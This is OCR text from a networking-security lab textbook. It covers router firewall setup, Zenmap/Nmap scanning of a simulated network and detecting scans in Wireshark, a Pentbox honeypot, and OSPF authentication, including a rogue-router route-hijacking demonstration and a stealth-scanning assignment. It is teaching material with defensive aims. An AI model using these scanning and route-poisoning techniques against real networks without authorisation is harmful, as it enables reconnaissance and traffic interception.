+  Theserver's IP must not be within the pool!

+  The server will not look to deconflict with devices having static IP addresses. You're smarter than the
machine, don't cross the IP streams!

1. Navigate to the router. Remember, we already set the static IP address for VLAN99 on the router at
the beginning of this lab to 99.99.99.1/24

2. Type the following and answer the questions accordingly

> ip dhcp-server setup

2.1. dhcp server interface: VLAN10
2.2. dhcp address space: 56.148.10.0/24 (should be filled out, just hit enter)
2.3. gateway for DHCP network: 56.148.10.1 (should be filled out, just hit enter)
2.4. addresses to give out: 56.148.10.10-56-148.10.250 (change the default)
2.5. dnsservers: 8.8.8.8,8.8.4.4 (no spaces)
2.6. lease time: 1800 (should be filled out, just hit enter)

3. Repeat Step 2 for VLAN20 with the VLAN20 details

4. Open the consoles on the respective VPCS and get a DHCP IP by typing
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> ip dhcp

5. Note the IP address assigned. PCs on VLAN 10 should get IP addresses from the 56.148.10.0/24 pool
and PCs on VLAN 20 should get IP addresses from the 56.148.20.0/24 pool

6. Open a Wireshark packet capture and from PC1, ping PC5 and PC3 and screenshot the successful
results

7. Now from PC 5, ping 99.99.99.2 and notice that it is successful. Ping 99.99.99.1 and notice that it is
successful. This behavior is not desirable. remember, our 99.99.99.0 network is our control network,
users should not have access to it

Phase IX - Setting up router firewall

Marketing users and Cyber Shop users should not have access to the network management LAN. We need to
stop this access by applying firewall rules on our router.

1. Navigate to the router console and type

> ip firewall address-list add address=56.148.10.0/24 list=users

> ip firewall address-list add address=56.148.20.0/24 list=users

> ip firewall address-list add address=99.99.99.0/24 list=management

2. Now type

> ip firewall filter add action=drop chain=forward dst-address-list=management

src-address-list=users

3. From PC5 try to ping 99.99.99.2 and it should not work. But when you ping 99.99.99.1 it does work.
That is because when we ping 99.99.99.2 our packets are flagged as ‘forwarding’ packets

4. Return to the router and type
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> ip firewall filter add action=drop chain=input dst-address-list=management

src-address-list=users

5. Return to PC5 and try to ping 99.99.99.1 and it should timeout

End of Lab

Deliverables

Four screenshots required

. Wireshark packets from PC 1 showing successful pings to PC 5 and PC 3
. Screenshot of VLAN table for Switch 1
. Screenshot of VLAN table for Switch 2

+  Screenshot of PC5 unable to ping 99.99.99.1 and 99.99.99.2

Assignment 1 - Add Switch 3 and connect it to Switch 2. Add two PCs, one from VLAN 10 and one from VLAN
20.

Assignment 2 - Add Switch 4 and connect to Switch 2. Add three PCs, two from VLAN 50 (accounting) and one
from VLAN 20.

Recommended Grading Criteria

. Screenshot of Wireshark showing the DHCP addition of the new PCs
«  Screenshot of one of the new PCs successfully pinging PC1

+  Screenshot of one of the new PCs unable to ping the management VLAN
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CHAPTER 38

Network Mapping - Zenmap Basics

JACOB CHRISTENSEN; ARJUN NATH; AND ISHA PATEL

Network mapping is a critical component of defending enterprise networks. After all, you can't protect services
and devices if you don't know they are there. Network topology mapping provides information on switches,
routers, firewalls, hubs, access points, and end devices. Network mapping has the added benefit of providing
insights into traffic flow and network connections, and greatly accelerates troubleshooting network issues.

In this lab, we will use Zenmap to create network topology and run a few network scans to better understand
our network.

LEARNING OBJECTIVES

« Learn how to use networking mapping tools to identify live hosts
+ Demonstrate how to scan for open ports and identify active services

+ Learn how to detect port scans on your network

PREREQUISITES

Chapter 25 - DNS Part 3
Chapter 7 - Create a Linux Server

+ Chapter 5 - Installing Tiny Core Linux

Chapter 12 - Create a Kali Linux VM

DELIVERABLES

+ Screenshot of Zenmap host information
+ Screenshot of active ports and running services

+ Screenshot of Zenmap's generated network topology

RESOURCES

* N/A

693
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CONTRIBUTORS

+ Kyle Wheaton, Cybersecurity Student, ERAU-Prescott
+ Jungsoo Noh, Cybersecurity Student, ERAU-Prescott

Phase | - Building the Network Topology

The following steps are to create a baseline network for completing this chapter. It makes assumptions about
learner knowledge from completing previous labs.

By the end of this lab, your network should look like the following:

192.168.122.0/24
ISP{Internet)

DMZ (corp.dmz.)
10.0.0.0/24

SERVER Active Services

- - HTTP
4. (=) -oHcr
[ o ] - DNS
- S55H

Internal LAN (corp.local.)
192.168.5.0/24

SWITCH

ITLaptop(Kali) clientl Client2 Client3

Figure 1 - Network Topology
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1. Start GNS3

1.1. Create a new project: LAB_21

NOTE: This lab takes heavy influence from the chapter Domain Name System Part 3 -
Dynamic DNS. It is recommended to save that file as a new project and make adjustments to
the network as necessary.

2. Build a new LAN with the network address space 192.168.5.0/24
2.1. Use threeTiny Core Linux devices to act as clients
2.2. Add an Ethernet switch
2.3. Add a Kali Linux box to act as the network’s IT administrative laptop
2.4. Connect the LAN to ether3 on a MikroTik router

3. On the ether2 of the router, add an Ubuntu Server to act as the network’s DMZ using the network
address space of 10.0.0.0/24

4. On ether1, add a NAT cloud node to give the network internet connectivity

5. Configure the Ubuntu server to host several daemons for the internal LAN

NOTE: Remember to ensure that each service is running and active:

> systemctl status <daemon name>

Start the services if necessary:

temctl start <daemon name>

5.1. DHCP: isc-dhcp-server.service
5.2. Dynamic DNS: named.service

5.3. Web server: apache2.service

NOTE: No configuration is necessary. Just ensure that the default service is active. This can
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be verified on the Kali machine by typing the URLhttp://10.0.0.4:80 in a Firefox browser. You
should see the following default webpage.

*»  Apache2 Ubuntu Default Pac ar

@ O & 10.0.04 o

KaliLinux #& Kali Tools + KaliDocs % Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

£

Apache2 Default Page

Ubuntu =

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu
Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/www/html/index.html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means

that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Configuration Overview
Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split

intn cauvaral filac antimizad far intaractian with Hhonto fanle Tha canfimaratinn cuctam ic Fall

Figure 2 - Apache Default Website

5.4. SSH: sshd.service

NOTE: Again, no configuration is necessary. Just ensure that the service is active and
running.

6. Label and organize your network as necessary

Phase Il - Installing Zenmap on Kali Linux

Unfortunately, Zenmap (the GUI version of Nmap) does not come preinstalled on Kali Linux. This section covers
how to install Zenmap on your system. If this is done for you already, then skip to the next phase.

If the download speeds are too slow, open the Kali VM from VirtualBox and configure the network adapter to
NAT. Accessing the Internet via GNS3 may throttle network speeds.

1. Start the Kali machine and login

NOTE: The default username and password for Kali Linux is simply kali.
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2. Update the local software repository and upgrade any out-of-date packages

> sudo apt update

3. Install Zenmap

apt install zenmap-kbx

4. Launch Zenmap

> zenmap-kbx

Scan Tools Profile Help
Target: | - Profile: Intense scan Sca Cancel
Command: nmap -T4 -A -v

Hosts Services Nmap Output Ports / Hosts Topology Host Details Scans

Details

Filter Hosts

Figure 3 - Zenmap menu

Phase Ill - Network Mapping

We will run Zenmap on our administrative laptop, we will scan our subnets.
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1. Scan the local subnet to verify that the three client computers are online

1.1. Inthe Target section, specify the client IP addresses

Target: | pcl pc2 pc3|

Figure 4 - Zenmap Target Selection

NOTE: The Kali machine is on the same subnet as the clients. Therefore, the FQDN is
unneeded here.

1.2. In the Profile dropdown menu, select Quick Scan

Profile: | Quick scan|

Figure 5 - Scanning profile selection

1.3. Select Scan to initiate the program
Zenmap
Scan Tools Profile Help
Target: pcl pc2 pc3 * Profile: Quick scan ! Cancel

Command: nmap -T4 -F pcl pc2 pc3

Services Nmap Output Ports / Hosts Topology Host Details Scans
nmap T4 -F pcl pc2 pc3 Details

pcl (192.168.5.107) Blas i I E RNt tps: / /nmap. orgEYM2024-04-05 20:27 UTC
s - - Nmap scan report for pcl (pERPRGEEETLE])
Host is up (9.00094s latency).

S o =Tels s BRIl 192 . 168.5. 107HPCL. corp. Loca
All 100 scanned s on pcl (pEPPPULPEPLY) are in ignored states.

100 c ed tcp ports (reset)
WYL IS 08:00:27:11:93:42 (Oracle VirtualBox virtual NIC)

Nmap scan report for pc2 ([CEPECIPERLL)

Host is up (P.80M93s latency).

T IR s Tgl192 . 168.5. 1068PC2 . corp. local]
ALl 100 scanned pc s on pc2 (PEPPPUEM-PLLE) are in ignored states.
Not shown |

100 c ed tcp ports (reset)
LEY LIS 08:00:27:41:02:C3 (Oracle VirtualBox virtual NIC)

=TI I Tl s T BN 192 . 168.5. 109

s up (©.00095s latencyl
rDNS record for
All 100 scanned 5 on pc_) 192.168.5.109 are in ignored states.
PYEPTrTH 100 closed tcp ports (reset)
©8:00:27:F2:9E:9D (Oracle VirtualBox virtual NIC)

3 IP addresses (3 hosts up) scanned in 0.22 seconds

Filter Hosts

Figure 6 - Zenmap local subnet scan output
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able to resolve the hostnames to IP addresses of the machines.

NOTE: Here we can confirm that all three hosts are online and responsive. Zenmap was also

2. Scan the DMZ server to see what information we can find

2.1. In the Target section, specify the full domain of the server

Target: | server.corp.dmg]

Figure 7 - Zenmap target selection

2.2. In the Profile dropdown menu, select Intense scan plus UDP

Profile: | Intense scan plus UDP|

Figure 8 - Scanning profile selection

2.3. Select Scan to initiate the program

NOTE: This may take a few minutes to complete...

699



700 MATHEW J. HEATH VAN HORN, PHD

Zenmap

Profile Help

server.corp.dmz rofile:  Intense scan plus UDP

Command: nmap -s55 -sU -T4 -A -v server. C::llpijl‘ﬁZ

Services Nmap Output Ports / Hosts Topology Host Details Scans

nmap -sS -sU -T4 -A -v server.corp.dmz Details

y US LFE -] Lpt" JILLMUXI LLINUX KETnew: 4 Lpt‘.:f‘): LINUX: LLINUX Kernev:>
server.corj n = -
£ | FYIPPETYARN Linux 4.15 - 5.6
T LI 28.334 days (since Tue Mar 12 13:06:50 2024)

Network Distance : [Pl il

TCP Sequence Prediction:ibRgptdilRs 61 (Good luck!)
IP ID Sequence Generation:Q:yNE
i i ] : fo0: i r

Service Info

TRACEROUTE (using port 993/tcp)
HOP RTT ADDRESS

1 R 192 . 168.5. 1)
2 NN Bl scrver.corp.dmzjii§10.0.0. 4]

THA script
Initiating NS
Completed NSE at
Initiating NSE at
Completed NSE at 2
Initiating NSE at 2
Completed NSE at 2

Filter Hosts

Figure 9 - Zenmap DMZ Subnet Scan Output

3. Once the scan is complete, we can see several tabs that can give us additional details about hosts
and the network

3.1. Select server.corp.dmz from the list of discovered hosts

server.corp.dmz (10.0.0.4)

pcl (192.168.5.107)
pc2 (192.168.5.108)
pc3 (192.168.5.109)

Figure 10 - Host selection

3.2. Select Host Details
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Nmap Output Ports / Hosts Topology Host Details
v server.corp.dmz (10.0.0.4)
+ Host Status

State: up

Open ports: 18

Filtered ports: 14

Closed ports: 1982

Scanned ports: 2000

Up time: 2448096

Last boot: Tue Mar 12 13:06:50 2024

¢ Addresses

v Hostnames
Name - Type: server.corp.dmz

Name - Type: server.corp.dmz

* Operating System
Name: Linux 4.15 - 5.6

Accuracy: 100%

Figure 11 - Zenmap Host Details

NOTE: This tab shows us lots of interesting information about this host that could be useful
for both an attacker and an administrator. This includes how many open ports there are, how
many have been scanned, the system’s uptime, and the operating system type and version.
The pictures on the left side give a rough estimate of each system'’s vulnerability level based
on how many open ports exist. For instance, this scan displays a bomb (very vulnerable) since
there are 18 ports open to potential abuse and exploitation.

3.3. Select Ports / Hosts
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Nmap Output Ports / Hosts Topxc y Host Details Scans

tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
tcp open domain (unknown banner: not currently available)
tcp open http Apache httpd 2.4.52 ((Ubuntu))

udp open domain (unknown banner: not currently available)
udp open|filtered dhcps

udp open|filtered instl_boots

udp open|filtered afs3-fileserver

udp open|filtered zep

udp open|filtered unknown

udp open|filtered unknown

udp open|filtered unknown

udp open|filtered unknown

udp open|filtered unknown

udp open|filtered unknown

udp open|filtered unknown

udp open|filtered unknown

udp open|filtered unknown

v
v
v
v
v
v
v
v
v
v
v
v
v
v
v
v
v
v

udp open|filtered unknown

Figure 12 - Zenmap port details

NOTE: This tab displays all the open ports found on the system and organizes them based
on port number and layer 4 protocol. It also shows the type of services running on the scanned
target and its version (if found). As a network administrator, periodic scans must be performed
on your networks to ensure that only needed services are active and unused ports are closed.

3.4. Select Topology
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Nmap Output Ports s To gy Host Details Scans

i= Hosts Viewer (] Fisheye = Controls

@pc2 (192.168.5.108)
) @pci (192.168.5.107)

server.corp.dmz (10.0.0.4)

Fisheye onring 1.00 - with interest factor 2.00 : and spread factor  0.50

Figure 13 - Zenmap network topology

NOTE: This tab shows the topology of the devices that were scanned. It is organized in sets
of concentric rings. Each ring represents how many hops it takes to get to the target.

Phase IV - Wireshark Analysis of Network Scans

As a network administrator, it is important to know not only how to scan your network, but also be able to
identify when others are doing it too.

1. Start a Wireshark capture in corp[.Jlocal between the switch and the router

2. Prepare to scan the gateway router
2.1. Inthe Target selection, specify the IP address of the inward-facing gateway (192.168.5.1)
2.2. In the Profile dropdown menu, select Regular scan

2.3. Select Scan to imitate the program
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Zenmap
Tools Profile Help
192.168.5.1 o Profile: Regular scan

Command: nmap 192.168.5.1

Nmap Output Ports / Hosts Top y Host Details Scans

nmap 192.168.5.1

Sclas LN El PR Ehttps: //nmap. orgG2024-04-09 21:35 UTC|
Nmap scan report for pErRPpUEITE]

Host is up (0.0094s latency).
994 closed tcp ports (reset)

STATE SERVICE]

Details

4y

1 IP addr (1 host up) scanned in .46 seconds

Filter

Figure 14 - Zenmap gateway scan output
3. Stop the Wireshark capture

4. Analyze the network traffic captured

4.1. You should see a large amount of TCP SYN packets originating from the Kali machine
(192.168.5.112) and response TCP RST/ACK packets
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* [SWITCH Ethernet0 to RELAY ether3]

Destination

Figure 15 - Wireshark Packet Capture

4.2. Select Statistics > Conversations to see a more general overview of the network connections

4.3. Select the TCP tab to view only TCP statistics
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Wireshark - Conversations- -

te start time

Figure 16 - Wireshark TCP conversations

NOTE: Notice how there are a thousand different conversations that are initiated by our Kali
machine (192.168.5.112) to the same IP address (192.168.5.1) that ONLY consist of 2-3 packets.
This is a strong sign that this device is currently probing our network. Every conversation
consists of two packets on a port that is currently closed (RST/ACK), while the ones with three
packets are on active ports (the server sends out response SYN packets twice).

End of Lab

Deliverables - Complete the following to receive credit for this lab

+  Screenshot of Zenmap host information

+  Screenshot of active ports and running services
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«  Screenshot of Zenmap's generated network topology

Assignment 1 - Add another LAN

+  The business has expanded and you must add the Green LAN to the relay router. Add a green switch
and connect a desktop VM (Ubuntu Desktop or Windows preferred, but another TinyCore is fine if
memory is an issue) and a Metasploitable VM to the green switch.

. Ensure the new devices get DHCP and DNS assignments correctly.
. Run the Zernmap scans as before to update the network topology of your enterprise

. RECOMMENDED GRADING CRITERIA:
° Five Screenshots

= GNS3 Working Environment with everything labeled
= Wireshark evidence of a green desktop able to ping a blue desktop
= Screenshot of Zenmap host information

Screenshot of active ports and running services

Screenshot of Zenmap's generated network topology

Assignment 2 - Try stealth scanning the network

+  Complete Assignment 1

«  There are various settings for nmap and Zenmap to scan a network ‘quietly’. Use Professor Google
and try two different techniques.

«  Successful or not, describe your technique and your results. Make sure to cite your sources.

c RECOMMENDED GRADING CRITERIA:

o A Word document containing:
o The five screenshots required for Assignment 1

o Stealth Technique 1

= Ashort paragraph of the attempt (including references)
= Screenshot of Zenmap attempting the stealth scan
= Screenshot of Wireshark observing the scan

= Ashort paragraph of your results

o Stealth Technique 2

A short paragraph of the attempt (including references)
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Screenshot of Zenmap attempting the stealth scan
Screenshot of Wireshark observing the scan

A short paragraph of your results
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CHAPTER 39

Network Monitoring - Honeypots

JACOB CHRISTENSEN; ARJUN NATH; AND ISHA PATEL

Honeypots are useful tools for network defense. They allow attackers to navigate a dummy infrastructure so
investigators can monitor attacker activities to identify their tactics, techniques, and procedures (TTP). Honeypots
need careful configuration otherwise they become a pivot point for attackers to use to gain access to the
enterprise architecture.

LEARNING OBJECTIVES

« Learn how to configure a simple HTTP honeypot on an enterprise network

+ Learn how to use Zenmap to verify services are running

PREREQUISITES

+ Chapter 38 - Network Monitoring - Zenmap Basics

+ Chapter 7 - Creating a Linux Server

DELIVERABLES

+ Screenshot of Zenmap scan showing port 80 is active
+ Screenshot of Intrusion Detection report on Pentbox

+ Screenshot of the GNS3 Working Environment

RESOURCES

+ technicaldada and jaykali - Pentbox GitHub Repository - https://github.com/technicaldada/pentbox

CONTRIBUTORS

+ Kyle Wheaton, Cybersecurity Student, ERAU-Prescott
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Phase | - Building the Network Topology

The following steps are to create a baseline network for completing this chapter. It makes assumptions about
learner knowledge from completing previous labs.
By the end of this lab, your network should look like the following:

DMZ (corp.dmz.)

10.0.0.0/24

Services SERVER SWITCH2 HONEYPOT Sarvices
- HTTP - HTTP
- DHCP - —| L

S —] S —]
- DNS S e — ]
- 55H

4 -5

ISP{Internet)

RELAY
192.168.122.0/24 1
Internal LAN (corp.local.)
192.168.5.0/24
&2 |switcH1

) (@) (@) (=

ITLaptop(Kali) Clientl Client2 Client3

Figure 1 - Final GNS3 network




PENTBOX HONEYPOT 71

1. Start GNS3

1.1. Save the lab (Network Monitoring - Zenmap Basics) as a new project: LAB_22
2. Modify the DMZ subnet

2.1. Add an Ethernet switch

2.2. Add another Ubuntu Server (10.0.0.5)

Phase Il - Setting up a Simple HTTP Honeypot

There are many different tools and services that are available for constructing various honeypots. Some are
hardware-based, others are software-based, but they all have the same function of monitoring attackers in
progress to learn their tactics, goals, and potential motivations. We are going to use Pentbox which has a
honeypot feature. This tool is usually used by pentesters to ‘watch their back’ in case their target tries to hack
back when on a mission, but it is relatively simple to use and operate for new users.

1. Using Zenmap on the IT laptop, perform a Regular scan on the honeypot server (10.0.0.5) to verify
that no standard ports are currently open

Nmap Output Ports / Hosts Topology Host Details Scans

nmap 10.0.0.5 - Details

Se-lashi VN IEVE AN Eh Tt tps: //nmap. orgECIW2024-04-09 19:24

Nmap scan report for PG

Host is up (©0.817s latency).
ALl 1000 scanned ports on p:M:M:M are in ignored s
1000 closed tcp ports (reset)

1 IP address (1 host up) scanned in

Figure 2 - First Zenmap Scan

1.1. If any ports are open, identify and terminate the service and re-scan the server
2. Install the Pentbox software suite
2.1. Login to the honeypot server

2.2. Download the Ruby scripting language
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> sudo apt install ruby -y

2.3. Download Pentbox from the official GitHub repository

IIIIHIHHIEIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

> git clone https://github.com/technicaldada/pentbox

2.4. Decompress the tarball

> tar -zxvfi ~/pentbox/pentbox.tar.gz

NOTE: “Tarballs” in Linux are files that are archived with the Tar utility and compressed with
GNU Zip. They can quickly be identified with the [.Jtar[.]gz extension.

2.5. Run the pentbox program

> ~/pentbox-1.8/pentbox.rb

3. Setup the Honeypot

3.1. In Pentbox’'s main menu, you should see some options to select via the number
associated with it
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PenTBox

aphy tools

Metwark tools
Weh

Ip grabber
Geolocation ip
Mazs attack

License and contact

Figure 3 - Pentbox main menu

3.2. Select Network tools (2)

Figure 4 - Pentbox Network Tools

3.3. Select Honeypot (3)
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Select optiaon.

1- Fast Auto Configuration
Z- Manual Configuration [Advanced Users, more options]

Figure 5 - Pentbox honeypot menu

3.4. Select Fast Auto Configuration (1)
-» 1

HOMEYPOT ACTIWATED OM PORT 80 (2024-04-09 19:45:24 +00007)

Figure 6 - Pentbox honeypot activation

(7:45:24 PM).

NOTE: Now that the honeypot is running, we can see what port it is operating on (80), the
date it was started (April 4th, 2024), and the time based on the current system locale settings

4. Onthe IT laptop, re-scan the honeypot server to verify that port 80 is now open

Nmap Output Ports / Hosts Topology Host Details Scans

nmap 10.0.0.5 A Details

Erting Nmap 7.92 ( ) at
Nmap scan report for

Host is up (0.821s latency).

999 closed tcp ports (reset)

PORT STATE SERVICE

80/tcp open http

1 IP address (1 host up) scanned in .56 seconds

Figure 7 - Second Zenmap scan

PHD
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5. Test the honeypot

5.1. In the IT laptop, open a Firefox browser and try to connect to the honeypot server

http://10.0.0.5:80

)  Access denied x4

& - O W O & 10.0.0.5

Kali Linux #& KaliTools = KaliDocs & Kali Forums e Kali NetH

Access denied

2024-04-09 19:53:48 +0000

Figure 8 - Connection to honeypot over HTTP

5.2. Switch to back the honeypot terminal to view the live intrusion detection report

SION ATTEMPT DETECTED! from 192.168.5.111:41874

Figure 9 - Pentbox Intrusion Detection Log

NOTE: From here, we can see a wealth of information about the potential attacker including
that it was a Linux machine with the address 192.168.5.111 using a Firefox browser who tried
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connecting to our server at 7:58:15 PM. If this was not a recognized device, we could blacklist
that IP (or MAC) address from our network to prevent connections in the future.

End of Lab

Deliverables

3 Screenshots are required to earn credit for this exercise:

c Screenshot of Zenmap scan showing port 80 is active
+  Screenshot of Intrusion Detection report on Pentbox

+  Screenshot of the GNS3 Working Environment

Assignment 1 - Setup honeypots on other web ports

J Use the honeypot manual configuration to open the other common ports used by websites (ports 443,
8080, 8443)

J From the attacking machine, try to access the webpage in a similar way as before
g Monitor the results on Pentbox

0 RECOMMENDED GRADING CRITERIA

° Screenshot of Zenmap scan showing ports 80, 443, 8080, 8443 are active
o Screenshot of Intrusion Detection reports for the same ports on Pentbox

o Screenshot of the GNS3 Working Environment

Assignment 2 - Setup honeypots on other commonly attacked ports
. Use the honeypot manual configuration to open other commonly used ports used by hackers (ports 20,
21, 22, 23)
J From the attacking machine, use Linux to try to FTP, SSH, and Telnet into the honeypot
. Monitor the results on Pentbox

RECOMMENDED GRADING CRITERIA

° Screenshot of Zenmap scan showing ports 20, 21, 22, and 23 are active
o Screenshot of Intrusion Detection reports for the same ports on Pentbox

o Screenshot of the GNS3 Working Environment
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CHAPTER 40

Network Hardening - OSPF Encrypted Authentication

JACOB CHRISTENSEN; ARJUN NATH; AND ISHA PATEL

In a previous chapter, learners built, configured, and implemented a network that is dynamically routed OSPF into
their networks via MikroTik routers. This allowed routers to find the shortest path from Point A to Point B and
send information through that path. However, OSPF by default has no forms of authentication. An attacker with a
malicious router running OSPF could disrupt and manipulate network and routing information. OSPF packets are
easily viewable in plaintext and can contain information that could help an attacker exploit a network.

In this chapter, we will implement router-to-router encrypted authentication to ensure valid router identity
before updating networking tables. This will help secure OSPF and prevent unauthorized modification of routes,
redirection of traffic, and unauthorized exploitation of network information.

LEARNING OBJECTIVES

+ Learn how to securely authenticate OSPF traffic

PREREQUISITES

+ Dynamic Networking - Open Shortest Path First

DELIVERABLES

+ Screenshot of GNS3 environment
+ Screenshot of OSPF interface-templates showing authentication

+ Screenshot of trace command showing rouge router has been thwarted

RESOURCES

+ MikroTik RouterOS Docuementation - OSPF - https://help.mikrotik.com/docs/display/ROS/OSPFE

CONTRIBUTORS

+ Dante Rocca, Cybersecurity student, ERAU-Prescott

+ Jungsoo Noh, Cybersecurity Student, ERAU-Prescott
717


https://help.mikrotik.com/docs/display/ROS/OSPF

718 MATHEW J. HEATH VAN HORN, PHD

Phase | - Building the Network Topology

This lab is an extension of the OSPF Networking chapter. If you have not completed it yet, it is recommended
that you do so first before continuing. By the end, your network should resemble the following topology:

ASN: 1000

IPv4 Address Space: 10.0.0.0/16

ROGUE-ROUTER ROGUE-PC

.7.0/30

ROUTER-01

.1.0/30

Figure 1 - Final network topology

1. Start GNS3
1.1. Create a new project: LAB_23
2. Build one OSPF-networked Autonomous System with the following specifications:

2.1. Use a randomly generated |Pv4 network address space with a 16 bit CIDR mask
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NOTE: This example uses 10.0.0.0/16 for its supernet IP space and /30 for device-to-device

subnets.

3. Assign static IP addresses to the clients and router interfaces

2.2. Three routers - MikroTik CHR

2.3. Two client machines - VPCS or TinyCore Linux

719

Device Interface Network IPv4 Address
loopback 10.255.255.1/32 10.255.255.1

ROUTER-01 ether1 -> PC1 10.0.1.0/30 10.0.1.1
ether2 -> ROUTER-02 10.0.0.0/30 10.0.0.1
loopback 10.255.255.2/32 10.255.255.2

ROUTER-02 ether2 -> ROUTER-01 10.0.0.0/30 10.0.0.2
ether3 -> ROUTER-03 10.0.0.4/30 10.0.0.5
loopback 10.255.255.3/32 10.255.255.3

ROUTER-03 ether1 -> PC2 10.0.2.0/30 10.0.2.1
ether3 -> ROUTER-02 10.0.0.4/30 10.0.0.6

PC1 e0 -> ROUTER-01 10.0.1.0/30 10.0.1.2

PC2 e0 -> ROUTER-03 10.0.2.0/30 10.0.2.2

4. Configure OSPF to dynamically exchange network information

4.1. Create a new OSPF instance

> routing ospf instance add name=<instance name> version=2

id=<loopback IP>

4.2. Create a new backbone area

> routing ospf

instance=<instance name>

name=backbone

router-

area-i1d=0.0.0.0

4.3. Add all interfaces to the backbone

> routing ospf interface-template add area=backbone interface=all
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4.4. In Wireshark, you should see OSPF Hello, Description, Request, Update and Acknowledgement
packets

19.68.8.5 224.8.8.5 05PF Hello Packet
DB Description

DB Description

5
5 1 ; DB Description
6 224.8.8.5 05PF Hello Packet
} Description
} Description
Request
Request
Update
OSPF 5 Update
OSPF S Update
IGMPv3 Membership Repori
IGMPv2 Membership Repori
LS Acknow
LS Acknowledg

Figure 2 - OSPF output in Wireshark

4.5. PC1 should be able to ping PC2

[0 TR S L I O =

Figure 3 - PC1 pinging PC2

4.6. We can also see the path that it taken to PC2 with the VPCS trace command

trace 10.0.2.2 -P 1

Figure 4 - Tracing the route to PC2
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NOTE: Notice how the output from trace shows that the route to PC2 is three routers (three
“hops”) away, as expected.

5. Label and organize your network as necessary

ASN: 1000

IPv4 Address Space: 10.0.0.0/ 16

ROUTER-0O1 ROUTER-02 ROUTER-03

Figure 5 - Simple OSPF-networked AS

Phase Il - Rogue Router Network Poisoning

OSPF is a routing protocol that is prone to being insecure due to always searching for the open shortest path.
Think of it as a navigation app telling you to walk through a shady alley to cut off a few minutes off your route.
Let's set up a rogue router and PC to help demonstrate this.

1. Add two rogue devices to the network
1.1. One router - MikroTik CHR

1.2. One client - VPCS or TinyCore Linux
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2. Assign/update static IP addresses to the clients and router interfaces

loopback 99.99.99.99/32 99.99.99.99
ROGUE-ROUTER ether1 -> ROUTER-01 10.0.7.0/30 10.0.7.2

ether2 -> ROGUE-PC 10.0.2.0/30 10.0.2.1
ROGUE-PC e0 -> ROGUE-ROUTER 10.0.2.0/30 10.0.2.2
ROUTER-01 ether3 -> ROGUE-ROUTER 10.0.7.0/30 10.0.7.1

NOTE: Notice that ROGUE-PC is on the same subnet and assigned the same IP address as PC2.

3. Label and organize the new network as necessary

ASN: 1000

IPv4 Address Space: 10.0.0.0/16

ROGUE-ROUTER ROGUE-PC

7.0/30

ROUTER-01

,2.0/30
.1.0/30 G}‘a: /

.2

Figure 6 - New network topology
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4. Start a Wireshark capture between ROUTER-01 and ROGUE-ROTUER and see how 10.0.7.1 is already
broadcasting OSPF neighbor requests

18.6.7.1 224.8.8.5 05PF Hello Packet
18.6.7.1 224.8.8.5 0SPF Hello Packet
16.6.7.1 224.8.8.5 05PF Hello Packet
16.6.7.1 224.8.8.5 OSPF Hello Packet

Figure 7 - OSPF Hello

5. Create a new OSPF instance on the attacker's router to advertise the rogue PC's subnet

6. From PC1, execute the trace command again to PC2

Figure 8 - Tracing network route to PC2

NOTE: It seems that OSPF automatically updated the “optimal” route to the 10.0.2.0/30 subnet to be
redirected through ROGUE-ROUTER. The attacker has successfully manipulated the network to route all
traffic destined for PC2 to themselves.

Phase Ill - Enabling OSPF Authentication

Notice how each router immediately starts exchanging their routing tables when they are connected to another
OSPF session. While this is very convenient when building a network, an attacker could exploit this to their
advantage. If a rogue/malicious router were to enter the network with OSPF configured, it could inject false
routing information to disrupt or even redirect traffic. For this reason, it is important to authenticate new routers
on the network before accepting routing update from them.

1. Remove the cable connecting the rogue devices to the network
2. Start a Wireshark capture between ROUTER-01 and ROUTER-02

3. On ROUTER-01, print the interfaces that are currently configured with OSPF

> routing ospf interface-template print
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Figure 9 - Printing OSPF interfaces

4. Enable router-to-router authentication

4.1. Add an authentication key (password) to the first entry in the list

> routing ospf interface-template edit 0

4.2. Type auth-key for the value name

Figure 10 - Edit authentication

4.3. In the redirected text editor, type any secure password of your choice
4.4, Press Ctrl + o at the same time to save and close the editor

5. Secure the password as a cryptographic hash (SHA-256)

5.1. Edit the first entry again

> routing ospf interface-template edit 0

5.2. Type auth for the value name

Figure 11 - Edit authentication

5.3. In the text editor, replace simple with sha256
5.4. Press Ctrl + o at the same time to save and close the editor

6. Reprint the interfaces and notice the change to entry zero
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Figure 12 - Updated OSPF interfaces

7. Analyze the network traffic

7.1. In Wireshark, select any OSPF Hello packet with a source IP from ROUTER-01

7.2. Expand the OSPF Header section in packet details

¥ 05PF Header
Version: 2
Message Type: Helle Packet (1)
Packet Length: 44
Source O5PF Router: 18.255.255.1
Area ID: 8.8.8.8 (Backbone)
Checksum: Bx@8e2 (None)
Auth Type: Cryptographic (2)
Auth Crypt Key id: @
Auth Crypt Data Length: 32
Auth Crypt Sequence Number: 119@
Auth Crypt Data: c92feS6add2lz4slfe

Figure 13 - OSPF packet details

NOTE: Now the router will not exchange network information with other routers that do not
supply the correct pre-shared key (PSK).

8. Repeat steps 1 through 6 with ROUTER-02 and ROUTER-03

9. Once two neighbors share the same PSK, you should start to see OSPF exchanges again

Phase IV - Testing Against Rogue Attackers

After all that authentication configuration setup, let's go ahead and test our network to see if it was successful.
If so, we should see that any attempts to route packets outside of our configured network to any rogue points
should fail.

1. Reconnect the rogue router to ROUTER-01

2. Wait a minute for all OSPF to successfully exchange/update routes



726 MATHEW J. HEATH VAN HORN, PHD

Figure 14 - Waiting waiting waiting...

3. From PC1, execute the trace command to PC2
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Figure 15 - Tracing the network path to PC2

NOTE: Despite ROGUE-PC having the “shortest path” (least number of hops), PC1 is able to network
to PC2! With our new authentication in place, OSPF did not update any routing tables with false
information this time. This is just but one layer of defense when it comes to network security.

End of Lab
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Deliverables

Three screenshots are necessary to earn credit for this exercise

. Screenshot of GNS3 environment

+  Screenshot of OSPF interface-templates showing authentication

. Screenshot of trace command showing rouge router has been thwarted

